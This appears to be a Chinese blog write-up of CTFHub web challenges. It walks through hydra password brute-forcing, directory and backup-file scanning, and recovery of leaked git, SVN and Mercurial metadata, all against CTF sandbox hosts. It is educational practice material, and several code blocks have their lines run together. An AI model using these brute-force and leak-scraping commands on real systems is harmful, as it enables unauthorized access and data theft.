banner
NEWS LETTER

CTFHub 小白题目练习_Web 篇

Scroll down

0. 前言

本人 CTF 新手,因为打算学网络空间安全专业所以开始接触 CTF, 初中就对网络安全慕名,看过一些 geekpwn 但是没有深入下去,接着这个升大学前的暑假练练 CTF, 以下是我对 CTFHub 技能树上的题的简短 Writeup

我觉得动手实操一遍会很有用,所以我的所有 Writeup 不会透露任何的flag

1.Web 前置技能 ——Http 协议

1-1. 请求方式

题目说明

HTTP 请求方法, HTTP / 1.1 协议中共定义了八种方法(也叫动作)来以不同方式操作指定的资源。

知识补充

HTTP / 1.1 协议的八种方法

方法名含义
GET获取资源
HEAD获取资源头部(无响应体)
POST提交数据、创建 / 处理资源
PUT上传 / 替换整个资源
DELETE删除资源
CONNECT建立隧道连接(如代理 HTTPS)
OPTIONS获取目标资源支持的通信选项
TRACE回显服务器收到的请求(诊断)

网站也可以自定义协议 (例如本题)
这道例题要求我们使用CTF**B的方法来获取 flag, 可以猜出方法名应该是CTFHUB
直接使用curl

SHELL
curl -X CTFHUB http://challenge-xxx.sandbox.ctfhub.com:10800

于是我们得到 flag

1-2.302 跳转

题目说明

HTTP 临时重定向

知识补充

浏览器收到302后,会自动跳转到响应头Location里指定的新URL,整个过程对用户来说通常是无感知的。

打开题目,点击 flag 链接,发现被重定向到了原来的界面,按下fn +F12,打开开发者工具,发现这个链接指向的是..../index.php
故技重施,尝试用curl

SHELL
curl -X GET http://challenge-xxx.sandbox.ctfhub.com:10800/index.php

于是我们得到 flag

题目说明

Cookie 欺骗、认证、伪造

打开题目发现要求 admin, 打开开发者工具,找到应用 ->Cookie,打开会发现有一个admin项,将它的值改为1,刷新网站即可得到 flag

1-4. 基础认证

题目说明

在 HTTP 中,基本认证(英语:Basic access authentication)是允许 http 用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP 基本认证

下载附件,得到一份密码字典
打开题目,发现跳转 flag 需要认证, 猜测用户名为 admin
拿出我们的九头蛇hydra

SHELL
hydra -l admin -P 10_million_password_list_top_100.txt http://challenge-xxx.sandbox.ctfhub.com:10800 -s 10800 http-get /flag.html

得到密码,认证成功,于是我们得到 flag

1-5. 响应包源代码查看

最简单的一道题,fn+F12 自个扒拉去吧
或者使用

SHELL
curl -v http://challenge-xxx.sandbox.ctfhub.com:10800 | grep flag

2. 信息泄露

2-1. 目录遍历

打开题目,发现里面有多层嵌套的文件夹,我们猜里面有一个文件名和 flag 相关
随便点进去几个文件夹,发现都是以 1,2,3,4 这终端字符串命名的,普通字典不好使
生成字典

SHELL
bash -c "printf '%s\n' {0..9} > /tmp/dict.txt"echo flag >> /tmp/dic.txt

开始遍历

SHELL
dirsearch -u http://challenge-xxx.sandbox.ctfhub.com:10800/flag_in_here/ -w /tmp/dict.txt -r

之后去report/question_website/找生成的报告,在浏览器里读取文件内容即可

2-2.PHPINFO

难度和 1-5 放一起
打开题目,查看phpinfo,在ENVIRONMENT项可以看到FLAG和对应的值

2-3. 备份文件下载

题目说明

当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。

2-3-1. 网站源码

看到题目描述, 可以猜到应该和 2-1 是一个套路,找目录里面的文件
根据题目提示生成字典文件

SHELL
echo -e web\nwebsite\nback\nbackup\nwww\nwwwroot\ntemp > dict.txt

扫文件,dirsearch因未知原因扫不出文件

SHELL
feroxbuster -u http://challenge-xxx.sandbox.ctfhub.com:10800 -w dict.txt -x tar,tar.gz,rar,zip

可以扫到备份压缩包,解压后得到flag.... 但真的是flag吗?
发现flag文件中是Where is flag??
意识到这是网站的备份,我们可以尝试直接访问http://challenge-xxx.sandbox.ctfhub.com:10800/flag_2061830417.txt,或者curl这个网址得到真正的flag

2-3-2.bak 文件

根据题目描述,访问http://challenge-xxx.sandbox.ctfhub.com:10800/index.phpfn+F12 查看源代码没有发现任何的 flag, 使用 feroxbuster 也扫不到备份文件,考虑备份文件可能是以它本身命名的,而不是压缩包

尝试curl题目http://challenge-xxx.sandbox.ctfhub.com:10800/index.php.bak得到flag

2-3-3.vim 缓存

知识补充

当你用 Vim 编辑文件时(比如 vim index.php),Vim 会在同目录下创建一个交换文件:
.index.php.swp
.index.php.swo(如果 .swp 已存在)
.index.php.swn(编号递增)
正常情况下,保存退出后 Vim 会删除交换文件。但如果发生崩溃 / 断电,终端断开,强制关闭,交换文件就会残留在服务器上,攻击者可以直接下载并恢复出原始文件内容。

根据题目提示和已有信息, 尝试 curlhttp://challenge-xxx.sandbox.ctfhub.com:10800/.index.php.swp 成功
执行来恢复文件

SHELL
vim -r .index.php.swp

发现无法保存,问题是目标路径不存在,执行

SHELL
mkdir /tmp/skill_web_info_leak_backup_vim/src/ -p

再次执行
执行来恢复文件

SHELL
vim -r .index.php.swp

之后访问这个文件应该就可以得到flag,但是我这里得到的 flag 是残缺不全的,应该是编码问题
读取失败
尝试直接阅读.index.php.swp,或者使用

SHELL
strings .index.php.swp

便可读出flag

2-3-4..DS_Store

题目说明

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store 可以知道这个目录里面所有文件的清单。

打开题目, 根据以往的做题经验,这个时候应该请出我们的老工具feroxbuster还有旧字典来扫一下网站

SHELL
feroxbuster -u http://challenge-xxx.sandbox.ctfhub.com:10800 -w dict.txt -x .DS_Store

得到地址,curl下来

SHELL
curl TARGET_FILE_ON_WEBSITE -o .DS_Store

可以使用file命令确认一下这是苹果系统的文件而不是什么奇奇怪怪的东西
接下来我们要使用pip来安装ds_store

SHELL
pip install ds-store

致 Arch 系用户

众嗦粥知,Arch 大人的系统包目录 python 是万万碰不得的,我们需要创建虚拟环境,建议在特定的目录下执行

SHELL
python -m venv .venvsource .venv/bin/activate.fish #根据你自己的实际shell替换掉fish,之后要用到这个环境的时候直接执行这个命令就好了pip install ds-store

写一个简单的 python 脚本,用来解析我们刚刚获得的.DS_Store,我起个名a.py

PYTHON
from ds_store import DSStorewith DSStore.open('.DS_Store', 'r') as d:    for filename in d:        print(filename)

之后python a.py即可看到其中的文件目录,使用curl即可得到flag

2-4.Git 泄漏

题目说明

当前大量开发人员使用 git 进行版本控制,对站点自动部署。如果配置不当, 可能会将.git 文件夹直接部署到线上环境。这就引起了 git 泄露漏洞。请尝试使用 BugScanTeam 的 GitHack 完成本题

根据题目信息,我们要用GitHacker工具,BugScanTeam的工具是基于python2实现的,使用现代的python3会出现依赖问题,我们用PyPI中含有的同名工具,让我们用杀千刀的pip

SHELL
pip install GitHacker

致 Arch 用户

如果你已经在2-3-4配置好了虚拟环境
直接在你之前选择的目录执行

SHELL
source .venv/bin/activate.fish #根据你自己的实际shell替换掉fishpip install GitHacker

2-4-1.LOG

出题人对仓库的操作会被记录到LOG
尝试遍历下载 git 仓库

SHELL
githacker --url http://challenge-xxx.sandbox.ctfhub.com:10800 --output-folder outrepo`

进入outrepo目录,发现里面有一个以很长字符串命名的文件夹,进入,尝试查看git提交记录

SHELL
git log

找到add flagcommit,记为$COMMIT

SHELL
git show $COMMIT

于是便可看到flag

2-4-2.Stash

stashgit的暂存区,出题人把flag写进文件后git stash藏起来了
尝试遍历下载 git 仓库

SHELL
githacker --url http://challenge-xxx.sandbox.ctfhub.com:10800 --output-folder outrepo1

进入到outrepo1中的长字符串文件夹, 尝试查看stash暂存区内容

SHELL
git stash list

应该会有这种输出

stash@{0}: WIP on master: 0590b0e add flag

执行

SHELL
git stash show -p stash@{0}

便可得到flag

2-4-3.index

index也是git的暂存区,index记录了当前工作区有哪些文件、它们的哈希值、权限等信息

stash 和 index 的区别

Index 是 "准备提交的清单文件",Stash 是 "临时藏起来的修改"。CTF 里 index 泄露文件名,stash 泄露被隐藏的内容(flag)。

尝试遍历下载 git 仓库

SHELL
githacker --url http://challenge-xxx.sandbox.ctfhub.com:10800 --output-folder outrepo2

进入outrepo2中的长字符串文件夹, 可以看到flag直接就躺在你眼前了 (一个 txt 文档)
哈哈,是有些简单了
一般的题目需要使用这个命令来看暂存区中的文件列表,flag可能是他们的文件名拼凑而成的

SHELL
git ls-files --stage

2-5.SVN 泄漏

题目说明

当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当, 可能会将.svn 文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

知识补充

Subversion(简称 svn)是一个集中式版本控制系统(与Git同行)(Centralized Version Control System, CVCS),由 CollabNet 于 2000 年开发,目的是替代当时已经老旧的 CVS。
SVN 的元数据存放在 .svn/ 目录里,核心文件是 wc.db(SQLite 数据库)和 entries 文件。

执行

SHELL
curl http://challenge-xxx.sandbox.ctfhub.com:10800/.svn/wc.db --output wc.db

查看这个db数据库

SHELL
sqlite3 wc.db "SELECT local_relpath, checksum FROM NODES"

发现flag,但他的checksumNULL,说明当前版本没有缓存,照应了题目文件在旧版本
查看数据库中的所有表类型

SHELL
sqlite3 wc.db ".tables"

发现PRISTINE,查看PRISTINE表,这记录了所有被缓存的文件对象

SHELL
sqlite3 wc.db "SELECT checksum, size FROM PRISTINE"

得到了另一个未知文件的sha1值,猜他就是flag对应文件的sha1,尝试从PRISTINE恢复文件
pristine/的目录结构为

.svn/pristine/xx/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.svn-base

xxsha1前两位,xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx为完整的sha1
尝试curl,得到flag

SHELL
curl http://challenge-xxx.sandbox.ctfhub.com:10800/.svn/pristine/xx/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.svn-base

2-6.HG 泄漏

题目说明

当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当, 可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。

知识补充

Mercurial(简称 hg,化学元素汞的符号)是一个 分布式版本控制系统(Distributed Version Control System, DVCS),由 Matt Mackall 于 2005 年创建。
HG 的元数据存放在 .hg/ 目录里,核心文件是 /.hg/store/00changelog.i,/.hg/store/00manifest.i,/.hg/requires

首先尝试直接curl题目的.hg目录

SHELL
curl http://challenge-xxx.sandbox.ctfhub.com:10800/.hg

报错403,文件存在但禁止获取目录内容
curl下关键文件

SHELL
curl http://challenge-xxx.sandbox.ctfhub.com:10800/.hg/store/00changelog.i --output 00changelog.icurl http://challenge-xxx.sandbox.ctfhub.com:10800/.hg/store/00manifest.i --output 00manifest.i

写一个 Python 脚本,暴力拉取.hg 目录
你需要替换BASE的网址为题目网址

PYTHON
#!/bin/bash# save as: rip_hg_manual.shBASE="http://challenge-xxx.sandbox.ctfhub.com:10800"OUTDIR="./hg_dump"mkdir -p "$OUTDIR/.hg/store/data"# 核心元数据for f in requires branch dirstate hgrc; do    curl -s "$BASE/.hg/$f" -o "$OUTDIR/.hg/$f" 2>/dev/nulldone# store 核心索引for f in 00changelog.i 00manifest.i; do    curl -s "$BASE/.hg/store/$f" -o "$OUTDIR/.hg/store/$f" 2>/dev/nulldoneecho "Done. Check $OUTDIR"

进入hd_dump目录,先删掉一些不存在或者异常的文件

SHELL
find .hg/ -type f -exec grep -l "<html>" {} \; -delete 2>/dev/null

尝试重建仓库, 并检查日志

SHELL
hg inithg log -v

会看到和flag相关的一个文本文档 (版本代号为 1),我们姑且使用A来代替他的文件名
尝试直接查看这个文件内容

SHELL
hg cat -r 1 A

报错no match found
使用hg update -r 1 && cat A依旧报错不存在,有记录但是没有文件,说明文件被删除
最终折腾一大阵,尝试直接curl

SHELL
curl http://challenge-xxx.sandbox.ctfhub.com:10800/A

得到flag

3. 密码口令

3-1. 弱口令

题目信息

通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。

Tip

这道题和1-4惊人地相似,但是我们没有密码文件,并且题目形式也有一些出入,比如1-4是访问目标资源,需要在认证框里认证,使用http-get的方法,而我们这道题在日常应用更广泛,主要应用于绝大多数网页登录表单, 使用http-post-form的方法

首先从我这里下载字典文件rockyou.txt,里面一共有14344391条密码
打开题目,先随便输入个账密,查看报错信息是什么 (user or password is wrong),接下来我们curl一下题目
会得到这一部分代码

HTML
<label for="name" class="sr-only">用户名</label><input type="text" id="name" name="name" value="" placeholder="用户名" class="text-l w-100" autofocus /><label for="password" class="sr-only">密码</label><input type="password" id="password" name="password" class="text-l w-100" placeholder="密码" />

我们需要看name字段指的参数,账密分别对应的是namepassword
我们可以猜用户名可能是admin或者ctfhub
接下来构造hydra命令

SHELL
hydra -l admin -P rockyou.txt http://challenge-xxx.sandbox.ctfhub.com -s 10800 http-post-form "/:name=^USER^&password=^PASS^:F=user or password is wrong" -V -t 4hydra -l ctfhub -P rockyou.txt http://challenge-xxx.sandbox.ctfhub.com -s 10800 http-post-form "/:name=^USER^&password=^PASS^:F=user or password is wrong" -V -t 4

这两条命令在两个终端中执行
或者说我们可以稍微偷工减料一些,只挑出含有admin的密码先试试

SHELL
grep "admin" rockyou.txt > admin_passwords.txt

之后把上面的hydra命令中的rockyou.txt换成admin_passwords.txt
之后可以得到密码,于是我们得到flag

3-2. 默认口令

Tip

打开题目,看到 eyou 网关,联想默认口令
这应该是最简单,最不需要网安知识的题目了

直接去网上搜 eyou 网关默认账户密码即可
于是我们得到flag

4.SQL 注入

如果觉得不错,请我喝杯奶茶吧~

其他文章
cover
如何在 GeoCourse 上购买课程
  • 26/08/05
  • 12:06:03
  • 未分类
目录导航 置顶
  1. 0. 前言
  2. 1.Web 前置技能 ——Http 协议
    1. 1-1. 请求方式
    2. 1-2.302 跳转
    3. 1-3.Cookie
    4. 1-4. 基础认证
    5. 1-5. 响应包源代码查看
  3. 2. 信息泄露
    1. 2-1. 目录遍历
    2. 2-2.PHPINFO
    3. 2-3. 备份文件下载
      1. 2-3-1. 网站源码
      2. 2-3-2.bak 文件
      3. 2-3-3.vim 缓存
      4. 2-3-4..DS_Store
    4. 2-4.Git 泄漏
      1. 2-4-1.LOG
      2. 2-4-2.Stash
      3. 2-4-3.index
    5. 2-5.SVN 泄漏
    6. 2-6.HG 泄漏
  4. 3. 密码口令
    1. 3-1. 弱口令
    2. 3-2. 默认口令
  5. 4.SQL 注入
请输入关键词进行搜索